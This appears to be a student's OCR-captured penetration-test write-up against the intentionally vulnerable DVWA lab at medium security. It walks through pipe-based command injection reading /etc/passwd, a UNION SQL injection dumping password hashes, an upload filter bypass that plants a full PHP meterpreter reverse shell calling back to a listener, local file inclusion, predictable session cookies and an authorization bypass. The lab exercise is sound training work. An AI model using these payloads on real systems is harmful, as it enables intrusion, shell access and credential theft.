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This Project involved conducting a targeted web application penetration test on the
Damn Vulnerable Web Application (DVWA), configured at Medium Security Level.
The goal was to exploit common vulnerabilities and demonstrate their impact while
applying ethical hacking methodologies.

The assessment followed a manual approach based on the OWASP Testing Guide,
supported by advanced tools such as Burp Suite, Metasploit, and Hashcat to aid in
Payload Delivery, Session Hijacking, and Password Cracking.

Key Exploited Vulnerabilities:

« Command Injection — Remote system commands executed via vulnerable input
fields.

e SQL Injection — Extracted sensitive user data by manipulating backend queries.
o File Upload — Uploaded a reverse shell due to insufficient input sanitization.

e File Inclusion (LFI) — Included internal system files using crafted path traversal.
« Weak Session IDs — Demonstrated predictability in session token generation.

e Authorization Bypass — Accessed privileged functions without authentication.

e Open Redirect — Redirected users to malicious domains via URL parameters.

o Stored Cross-Site Scripting (XSS) — Injected persistent JavaScript to hijack
sessions.

« CSP Bypass — Bypassed Content Security Policy using crafted payloads.

e Brute Force — Used dictionary attacks to crack login credentials via predictable
or weak password mechanisms.

This engagement reinforced my capabilities in exploiting OWASP Top 10 vulnerabilities,
understanding web app attack surfaces, and communicating findings with proper risk
context.



Command Injection
First, select the security level to medium.

Open-source code.

=y Damn Vulnerable Web Application (DVWA)Source :: Damn Vulnerable Web Application (DVWA) — Mozilla Firefox

O D localhost erabilities source.php?id=e

Command Injection Source

vulnerabilities/exec/source/medium.php
<?php
if( isset( $ POST[ 'Submit' ] ) ) {

$target = $ REQUEST[ ‘'ip' 1;

$substitutions = array(
&&= '

v — 1
r == L

);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

if( stristr( php uname( 's' ), 'Windows NT' ) ) {

$cmd = shell exec( 'ping ' . $target );
}
else {
$cmd = shell exec( 'ping -c 4 ' . S$target );
}
echo "<pre>{$cmd}</pre>";
}
7>

Here you can see, they have blacklisted “&&” and “;” operators. As a result, | can use the pipe “|”
operator to inject my commands and get information from the database.

“10.0.2.15]|Is -la /"
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Vulnerability: Command Injection

Ping a device

Enter an IP address: | |[ Submit |

total 1048652

drwxr-xr-x 18 root root 4096 Aug 18 17:47 .

drwxr-xr-x 18 root root 4096 Aug 18 17:47 .

lrwxrwxrwx 1 root root 7 Aug 12 10:24 bin -> usr/bin

drwxr-xr-x 3 root root 4096 Aug 18 17:48 boot

drwxr-xr-x 17 root root 3280 Nov 12 18:26 dev

drwxr-xr-x 184 root root 12288 Nov 12 17:51 etc

drwxr-xr-x 3 root root 4096 Aug 18 15:57 home

TrwXx rwx rwx 1 root root 28 Aug 18 17:47 initrd.img -> boot/initrd.img-6)8.
lrwxrwxrwx 1 root root 28 Aug 18 17:47 initrd.img.old -> boot/initrd.img-
lrwxrwxrwx 1 root root 7 Aug 12 10:24 1ib -> usr/lib

lrwxrwxrwx 1 root root 9 Aug 18 15:49 1ib32 -> usr/1ib32

LrwX rwxrwx 1 root root 9 Aug 12 10:24 1ib64 -> usr/1lib64

drwx------ 2 root root 16384 Aug 18 17:43 lost+found

drwxr-xr-x 2 root root 4096 Aug 18 15:37 media

drwxr-xr-x 2 root root 4096 Aug 18 15:37 mnt

drwxr-xr-x 3 root root 4096 Aug 18 15:49 opt

dr-xr-xr-x 244 root root 0 Nov 12 17:51 proc

drwx------ 10 root root 4096 Nov 12 17:54 root

drwxr-xr-x 37 root root 900 Nov 12 17:51 run

lrwxrwxrwx 1 root root 8 Aug 12 10:24 sbin -> usr/sbin

drwxr-xr-x 3 root root 4096 Aug 18 15:52 srv

SrW------- 1 root root 1073741824 Aug 18 17:47 swapfile

dr-xr-xr-x 13 root root 0 Nov 12 18:09 sys

drwxrwxrwt 2 root root 40 Nov 12 17:51 tmp

drwxr-xr-x 16 root root 4096 Aug 18 15:49 usr

drwxr-xr-x 12 root root 4096 Oct 29 19:44 var

lrwxrwxrwx 1 root root 25 Aug 18 17:47 vmlinuz -> boot/vmlinuz-6.8.11-gmc
TrwX rwxrwx 1 root root 25 Aug 18 17:47 vmlinuz.old -> boot/vmlinuz-6.8]1]

More Information

“10.0.2.15|cat /etc/passwd /”
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SQL Injection

Vulnerability: Command Injection

Ping a device

Enter an IP address: | || Submit |

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102: :/nonexistent:/usr/sbin/nologin
tss:x:101:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534: :/run/sshd:/usr/sbin/nologin
usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:106:108:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:107:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:108:110:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
lightdm:x:109:112:Light Display Manager:/var/lib/lightdm:/bin/false
saned:x:110:114::/var/lib/saned:/usr/sbin/nologin
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
rtkit:x:111:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:112:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/no
nm-openvpn:x:113:117:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin
nm-openconnect:x:114:118:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkMan
aalera:x:115:65534: :/nonexistent:/usr/sbin/noloain

Q30
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We will open Burp Suite and type “1” as input and intercept the session.



Burp Project Intruder Repeater View Help
Dashboard  Target Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer
HTTP history WebSockets history {8} Proxy settings

(P Request to http:/flocalhost:80 [127.0.0.1]

Action

Forward

Drop Intercept is on Open browser

Pretty  Raw  Hex

1 POST /DWiA/vulnerabilities/sqli/ HTTP/1.1
> Host: localhost

Content-Length: 18
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";
sec-ch-ua-mobile: 70
sec-ch-ua-platform: "Linux"

Accept-Language: en-US
Upgrade-Insecure-Requests: 1

origin: http://localhost

Content-Type: application/x-www-form-urlencoded

8", "Chromium';

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost/Dvwa/vulnerabilities/sqlis
Accept-Encoding: gzip, deflate, br

Cookle: PHPSESSID=kmeqctek9631kg04us29rnnol2; security=medium
Connection: keep-alive

23 id=1&Submit=Submit

Logger

Organizer  Extensions  Learn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/S37.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image /webp,image/apng, ¥/+;q=0.8, application/signed-exchange; v=b3;4=0.7

L 4
Inspector
Request attributes 2
Request query parameters 0
Request body parameters 2
Request cookies 2

Request headers

{0} Settings.

Hren (3

X |8
o
3
2
v 8
g
v
v
4
3
v | &

Copy it to the Repeater using Ctrl + R. Now we will inject code at the ID input and crack users

&hashed passwords from the response.

Inject (1 UNION SELECT user, password FROM users--) after id. Click Send. Scroll till the last
of the response page, there you will find the users and passwords as first name and surname.

Burp Suite Commu

Burp Project Intruder Repeater View Help

Dashboard ~ Target  Fi Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer
1 % 2 x4+

Eme o

Request Response
Pretty Raw Hex = Pretty Raw
1 POST /DvwA/vulnerabilities/sqli/ HTTP/1.1

2 Host: localhost

3 Content-Length: 60

4 Cache-Control: max-age=0

5 sec-ch-ua: "Not/A)Brand";v="g", *Chromium';v="126"

sec-ch-ua-mobile: 70
sec-ch-ua-platform: "Linux"

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://localhost

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (windows NT 10.0; Wins4; x64) Applewebkit/537.36
(kHTML, Llike Gecko) Chrome/126.0.6478.127 safari/s37.36

13 Accept:

text/html, application/xhtml+xml,application/xml; q=0.9, image/avif,image /web
p,image/apng, */*;q=0.8,application/signed-exchange; v=b3;q=0.7
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost/DVWA/vulnerabilities/sqli/

Accept-Encoding: gzip, deflate, br

Cookle: PHPSESSID=kmeqct6k9631kgo4us29rnnol2; security=medium

Gonnegtion: keep:alive

10
11

id=1 UNION SELECT user, password FROM users --&Submit=Submit

é@e—)

Search £ onighlights
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</p>

</form=>

<pre>
ID: 1 UNION SELECT user, password FROM users --<br
First name: admin<br /=
surname: admin

=/pre>

<pre>
ID: 1 UNION SELECT user, password FROM users --<br
First name: admin<br />
Surname: 21232f297a57a54743894a0e4a801Fc3

</pre>

<pre=
ID: 1 UNION SELECT user, password FROM users --<br
First name: gordonb<br />
Surname: e99al8c428ch38dSf 260853678922e03

</pre=

<pre>
ID: 1 UNION SELECT user, password FROM users --<br
First name: 1337<br />
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

</pre>

<pre=
ID: 1 UNION SELECT user, password FROM users --<br
First name: pablo<br />
Surname: 0d167d05fSbbedOcade3deSc71e8e0b7

</pre>

<pres
ID: 1 UNION SELECT user, password FROM users --=br
FLrst name: smithy<br />
Surname: Sfddce3bSaa765d61d8327debss2cfo0

</pre>

<fdiv=

0

Let's crack the hashed passwords, using a free online tool.

Target: http:/flocalhost /5
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| selected Pablo (user) hashed password and opened the hash cracker. Copy-pasted the hash.

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

0d107d09f5bbedBcade3de5c71e9e9b7

I'm not a robot

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5{md5_hex), md5-half, shal, sha224, sha256, sha3Bd, sha512, ripsMD16D, whirlpool, MySQL 4.1+ (shal(shal_bin), Qubesv3.1BackupDefauits

Hash Type Result

Color Codes: [l Exact match, Yellow: Partial match, [Jlj Mot found.

The password is “letmein” and it was hashed using MD5.

File Upload



| have created a payload using “msfvenom -p php/meterpreter/reverse_tcp
Ihost=10.0.2.15 Iport=3333 -f raw” in my Linux shell.

Then | copied the payload and created it as a PHP file. The file name is hasina.php. |
created a JPEG file of PHP to inject it through the file upload database
(hasina.php.jpegq).

| opened Burp Suite and PortSwigger. Opened the hasina.php.jpeg file on the file
upload input. Intercepted the request.
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Let’s intercept it and change the filename to hasina.php



% Burp Suite Commu

Burp Project Intruder Repeater View Help
Dashboard  Target P intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Learn ) settings

ntercept HTTP history WebSockets history 4G} Proxy settings

P Request to httpiflocalhost:80 [127.0.01]

Forward Drop Intercept is on Action Open browser e W Hen (O
Prett Raw  Hex ®a@wn = =
[_Pretty : =] Inspector = [C) X &=
1 POST /DWWA/vulnerabilities/uploads HTTP/1.1
2 Host: localhost Request attributes 2 v | @
3 Content-Length: 1507 °
Cache-Control: max-age=0 v 2
sec-ch-ua: "Not/A)Brand";w="g", 'Chromiumt;v=r126" Request query parameters ] g
sec-ch-ua-mobile: 70
sec-ch-ua-platform: "Linux' Request body parameters 3 v
Accept-Language: en-US B
Upgrade-Insecure-Requests: 1 Request cookies 2 v
origin: http://lecalhest g
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvTaoVxwheBQfwyoe Request headers 2 - ?

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64) AppleWebKit/S37.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/S37.36

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*; q=0.8, application/signed-exchange; v=h3;q=0.7
14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost/Dvwa/vulnerabilities/upload/

Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=p21vqg4igomosblrnoukSisbagq; security=medium

Connection: keep-alive

n

------ Webki tFormBoundaryvT aoVXWbhsBQf WY Oe
Content-Disposition: form-data; name="MAX_FILE SIZE"

100000
rrrrrr WebKitFormBoundaryvTaoVXwbeBQfwYoe

Content-Disposition: form-data; name="uploaded"; filename="hasina.php.jpeg"
Content-Type: lmage/]peg

<fphp /**/ error_reporting(); $ip = '10.0.2.15'; $port = 3333; if (($f = 'stream socket_client') && is_callable($f)) { $s = $f("tcp://{Fip}:{Fport}");
gs_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, fport); $s_type = 'stream'; } if (1$s 66 ($f = 'socket_create') &&
is_callable(s$f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!gres) { diel); } $s_type = 'socket'; } if
(1gs_type) { die('no socket funes'); } if (1$s) { die('no socket'); } switch ($s_type) { case 'stream': glen = fread(ss, 4); break; case 'socket': glen =
socket_read($s, 4); break; } if (1glen) { die(); } $a = unpack("Nlen", $len); slen = gal'len']; gb = '*; while (strlen(sb) = glen) { switch (gs_type) {
case 'stream': $b .= fread($s, glen-strlen(gh)); break; case 'socket': gb .= socket_read(gs, glen-strlen(gb)); break; } } $cLoBALS['msgsock'] = gs;
$GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') & ini_get('suhosin.executor.disable_eval')) { gsuhosin_bypass=create_function('', $b);
} alsa { aualfldhl:- 1 diafll

h el 0 highlights

#suhnsin hunass ()
@e2 s

Eventlog(3)®  Allissues @ Memory: 1111MB

Changed filename

Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=p2ivq4igsomo3blrnouksfsbaqq; security=medium
Connection: keep-alive

—————— WebK1tFormBoundaryvT aoVXwheBQf WY Oe
Content-Disposition: form-data; name="MAX_FILE SIZE"

100000

------ WebKitFormBoundaryvTaoVXwbeBQfwWYOe

Content-Disposition: form-data; name="uploaded"; filename="hasina.php]
Content-Type: 1mage/jpeg

<?php /*%/ error_reporting(0); $ip = '10.0.2.15'; $port = 3333; 1f (($f = 'stream socket_client') && 1s ca
$s_type = 'stream'; } 1f (!4$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f(g1p, $port); $s_type = "
1s_callable(sf)) { $s = ¢f (AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect(gs, $ip, $port); 1T (1gnr
(1$s_type) { die('no socket funes'); } 1if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $Li
socket_read($s, 4); break; } 1f (1$len) { die(); } $a = unpack("Nlen", $len); $len = sal'len']; $b = ''; wl
case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen(sl
$GLOBALS[ 'msgsock_type'] = $s_type; 1f (extension_loaded('suhosin') && 1ini_get('suhosin.executor.disable_e
$suhosin_bypass(); } else { evallgh); } die();

Forward the request from Burp Suite



Vulnerability: File Upload

Instructions
Setup |/ Reset DB

Brute Force

Choose an image to upload:

| cnoose File | No file chosen

| Upload |

Command Injection
CSRF

[Fieupioss |
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass

TmrinCaving |

.-/ ../hackable/uploads/hasina.php succesfully uploaded!

More Information

We have successfully uploaded our PHP file.

Copy the /hackable/uploads/hasina.php and add it to the link after
http://localhost/DVWA.

® localhost/DVWA/hackable/uploads/has

Open the payload on your Metasploit. Select the payload, lhost and Iport


http://localhost/DVWA

msf6 exploit( ) > set payload php/meterpreter/reverse_tcp
payload = php/meterpreter/reverse_tcp
msf6 exploit( ) > ifconfig

exec: ifconfig

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.@ broadcast 10.0.2.255
inet6 feB80::8d77:7ef4:b663:b4f4 prefixlen 64 scopeld 0x20<link>
ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
RX packets 16229 bytes 17532731 (16.7 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 6835 bytes 970035 (947.2 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 10852 bytes 8975119 (8.5 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 10852 bytes 8975119 (8.5 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

msf6 exploit( ) > set lhost 10.0.2.15
lhost = 10.0.2.15

msf6 exploit( ) > set lport 3333
lport = 3333

Now execute the URL.

® localhost/DVWA

Run the Meterpreter

msf6 exploit( ) > exploit

Started reverse TCP handler on 10.0.2.15:3333
Sending stage (39927 bytes) to 10.0.2.15
Meterpreter session 1 opened (10.0.2.15:3333 — 10.0.2.15:47862) at 2024-11-12 23:33:20 -0500

meterpreter > sysinfo
Computer : kali

0S : Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
Meterpreter : php/linux

meterpreter > |

Congratulations! You have successfully secured the Meterpreter connection. YOU'RE
IN.

File Inclusion (Medium)



File Machine View Input Devices Help
BEEmEPor-| >

3 Vulnerability: File Inclus
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o)

Home | Vulnerability: File Inclusion
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We will remove “include.php” and add “/etc/passwd” to the URL to see the passwd file of
the database.

http://localhost/DVWA/vulnerabilities/fi/?page=/etc/passwd

® O Vulnerability: File Inclusic x  +

& C @ QO D localhost/T ulnerabilit a passwd 160%

KaliLinux #& Kali Tools « KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

root:x:0:0:root:/root:/usr/binfzsh daemon:x:1:1:daemon:/usr/sbin:fusr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sym
bin/sync games:x:5:60:games:/usr/games:/usr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/shin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/van
nologin news:x:9:9:news:/var/spool/news:/usr/shin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin proxy:x:13:13:proxy:/bin:/usr/shin/nologin www-data:x:33:3%
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/us
nologin _apt:x:42:65534::/nonexistent:/usr/shin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/shin/nologin systemd-network:x:998:998:systemd Network Manag
usr/shin/nologin systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:100:102::/nonexistent:/usr/shbin/nologin tss:x:101:104:TPM s
stack,,,/var/lib/tpm:/bin/false strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:
nologin usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin dnsmasg:x:999:65534:dnsmasgq:/var/lib/misc:/usr/sbin/nologin avahi:x:106:108:Avahi mDNS
daemon,,,:/run/avahi-daemon:/usr/shin/nologin speech-dispatcher:x:107:29:Speech Dispatcher,,, ./run/speech-dispatcher:/bin/false pulse:x:108:110:PulseAudio daemon,,,:/1
usr/shin/nologin lightdm:x:109:112:Light Display Manager:/var/lib/lightdm:/bin/false saned:x:110:114::/var/lib/saned:/usr/shin/nologin polkitd:x:991:991:User for polkitd:/:/usr
rtkit:x:111:115:RealtimeKit,,,:/proc:/usr/shin/nologin colord:x:112:116:colord colour management daemon,,,:/var/lib/colord:/usr/shin/nologin nm-openvpn:x:113:117:NetworkM
OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin nm-openconnect:x:114:118:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/shin/nologin

| galera:x:115:65534::/nonexistent:/usr/shin/nologin mysql:x:116:120:MariaDB Server,,,:/nonexistent:/bin/false stunneld:x:990:990:stunnel service system account:/var/run/s
usr/shin/nologin _rpc:x:117:65534::/run/rpchind:/usr/shin/nologin geoclue:x:118:122::/var/lib/geoclue:/usr/shin/nologin Debian-snmp:x:119:123::/var/lib/snmp:/bin/false
sslh:x:120:124::/nonexistent:/usr/sbin/nologin nipsec:x:121:127::/nonexistent:/usr/sbin/nologin redsocks:x:122:128::/var/run/redsocks:/usr/sbin/nologin rwhod:x:123:65534::,
rwho:/usr/sbin/nologin _gophish:x:124:130::/var/lib/gophish:/ust/shin/nologin iodine:x:125:65534::/run/iodine:/usr/shin/nologin miredo:x:126:65534::/var/run/miredo:/usr/sbir
statd:x:127:65534::/var/lib/nfs:/usr/shin/nologin redis:x:128:131::/var/lib/redis:/usr/sbin/nologin postgres:x:129:132:PostgreSQL administrator,,,:/var/lib/postgresgl:/bin/bash
Imosquitto:x:130:133::/var/lib/mosquitto:/usr/sbin/nologin inetsim:x:131:134::/var/libfinetsim:/ust/shin/nologin _gvm:x:132:135::/var/lib/openvas:/usr/sbin/nologin kali:x:1000:1
kali:/usr/bin/zsh

Now we will see the kernel version and database compilation details.

http://localhost/DVWA/vulnerabilities/fi/?page=/proc/version



® O Vulnerability: File Inclusic X = +

<« C @ O D localhost/ erabilities

KaliLinux #& Kali Tools ¢ KaliDocs & Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec )
Linux version 6.8.11-amd64 (devel@kali.org) (x86_64-linux-gnu-gcc-13 (Debian 13.2.0-25) 13.2.0, GNU Id (GNU Binutils for Debian) 2.42) #1 SMP PREEMPT_DYNAMIC
6.8.11-1kali2 (2024-05-30)

Weak Session IDs

Click on Generate.

Home Vulnerability: Weak Session IDs

Instructions ‘ This page will set a new cookie called dvwaSession each time the button is clicked.

Setup | Reset DB ‘ | Generate |

Brute Force
Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind) |

XSS (DOM) |
XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass
Open HTTP Redirect
Cryptography

DVWA Security

PHP Info |

About

Logout ‘

Go to Inspect>Application>Storage>Cookies



HttpOnly Secure SameSite Partition

However, we can observe that for these cookie values, the initial letters are the same, and the
last few characters are getting changed. Also, if we review requests carefully in the Burp Proxy
History, then we can observe that the cookie value is changing only if we are clicking the
Generate button at a different time.

If we explore more on this, we will understand that the cookie value is generated as per the
date-time of the machine

The current Unix epoch time is 1732322923

Convert epoch to human-readable date and vice versa

1732322621 Timestamp to Human date | [batch convert]
Supports Unlx timestamps in seconds, milliseconds, microseconds and nanoseconds.

Assuming that this timestamp is In seconds:

GMT : Saturday, November 23, 2024 12:43:41 AM
Your time zone : Friday, November 22, 2024 7:43:41 PM GMT-05:00
Relative 5 minutes ago

It is important to generate a random & strong session cookie so that an attacker will not be able
to guess/brute force the cookie value to perform an Account Takeover attack using session
hijacking/manipulation.

Authorization Bypass

We must log in as the user (username: gordonb & password:abc123) to complete this task.



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Open HTTP Redirect

Cryptography

DVWA Security

LR e

Open Burp Suite and open the Proxy>HTTP History page. You will find one GET Request that

Vulnerability: Authorisation Bypass

This page should only be accessible by the admin user. Your challenge is to gain access to the features using
one of the other users, for example gordonb / abc123.

Welcome to the user manager, please enjoy updating your user's details.
ID First Name Surname Update
5 |Bob | smith [ Update |
4 |Pablo | Picasso [ Update |
3 |Hack [ Me [ Update |
2 Gordon | Brown | Update |
1 | admin | admin [ Update |

gives you the path to the authorization file.



Host: localhost

sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: en-US

sec-ch-ua-mobile: 7@

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
ApplewebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127
Safari/s537.36

sec-ch-ua-platform: "Linux"

Accept: #/%*

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

2 Referer: http://localhost/DWwWA/vulnerabilities/authbypass/
= Accept-Encodina: azin. deflate. br

w N

au

Server: Apache/2.4.62 (Debian)

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 273

Keep-Alive: timeout=5, max=98

10 Connection: Keep-Ahve

11 Content-Type: text/html; charset=UTF-8

[{"user_1d":"1","first_name":"admin","surname":"admin"},{"user
_idv:v2, "first_name":"Gordon","surname":"Brown"},{"user_id":"
3", "first_name":"Hack","surname":"Me"},{"user_1d":"4","first_n
ame":"Pablo"."surname" :"Picasso"}t.{"user id":"5"."first name":

# Host Method URL Params Edited Statuscode Length MIME type Extension Title Notes s P

39 httpi/flocalhost GET /DVWAfvulnerabilities/authbypass/ 200 4341 HTML Vulnerability: Authoris... 127.0.01
(40 httpi/flocalhost GET /DvwWafvulnerabilities/: ypass/... 200 610 JSON php 127.0.0.1
41 httpfflocalhost GET [DVWAfsecurity.php 200 4889 HTML php DVWA Security  Dam... 127.0.01
42 hitp:/flocalhost POST  /DVWA/security.php v 302 494 HTML php 127.0.01
43 http:filocalhost GET IDVWA/security.php 200 4980 HTML php DVWA Security : Dam... 127.0.01
44 http:filocalhost GET IDVWA/security.php 200 4804 HTML php DVWA Security : Dam... 127.0.01
45 http:fflocalhost POST IDVWA/security.php g 302 495 HTML php 127.0.01
46 http:filocalhost GET IDVWA/security.php 200 4980 HTML php DVWA Security : Dam... 127.0.01
47 http:filocalhost GET IDVWA/security.php 200 4885 HTML php DVWA Security : Dam... 127.0.01
48  http:filocalhost POST IDVWA/security.php v 302 494 HTML php 127.0.01
49 httpfflocalhost GET [DVWAfsecurity.php 200 4980 HTML php DVWA Security : Dam, 127.0.01
50  httpi/flocalhost GET [DVWAfsecurity.php 200 4895 HTML php DVWA Security : Dam, 127.0.01

L Inspector wD =

Request Response

Pretty Raw Hex = Pretty Rawv Hex Render = Request attributes

1 GET /DWWA/vulnerabilities/authbypass/get_user_data.php 1 HITR/1.1 200 OK

HTTP/1.1 » Date: Thu, 05 Dec 2024 17:53:05 GMT Request cookies

Request headers

Response headers

Copy and paste it into the URL. You will find all the usernames and user IDs of the authorized

users.

& DVWA Security :: Damr X

@ localhost/DVWA/vulne

localhost/L

[{"user_id'
{"user_id":

,"'surname
","surname":"Picasso"},{"user_id

Open HTTP Redirect

admin"},{"user_id":"2","first_name":"Gordon","surname":"Brown"},{"user_id":"3","first_name":"Hack","surname":"Me"},
:"5","first_name":"Bob","surname":"Smith" }]



This is mainly used for phishing and gaining users' details like login credentials and credit card
numbers.

—~
D\#A)
P— Vulnerability: Open HTTP Redirect

(nstructions | Hacker Quotes
EEE=TE

Why did he come to you?

| got a record, | was Zero Cool

Brute Force Zero Cool. Crashed 1507 systems in one day, biggest crash in history, front page, New York Times August
10th 1988

Command Injection

CSRF

File Inclusion

File Upload More Information

Insecure CAPTCHA .

SQL Injection .

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass
[ Open HTTP Redirect__|
Coptography |

DVWA Security
PHP Info
About

Logout

Username: admin View Source | View Help
Security Level: medium

Locale: en
SQLi DB: mysql

Open Burp Suite and go to Proxy>HTTP History and check the URL

o= =
Request Response .
Pretty Rawr Hex = n = Re
1 GET

/OwwA/vulnerabilities/open_redirect/source/medium.php? Re

redirect=infeo.php?id=1 HTTP/1.1

Host: localhost Re

sec-ch-ua: "Not/A)Brand" , "Chremium";v="126"

sec-ch-ua-mobile: 7@

sec-ch-ua-platform: "Linux" 63

Accept-Language: en-US

Upgrade-Insecure-Requests: 1 Re

= User-Agent: Mozilla/5.0 (Windows NT 10.0; wWing4; x54)

ApplewebKit/537.36 (KHTML, like Gecko)

Chrome/126.0.6478.127 Safari/537.35

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,1

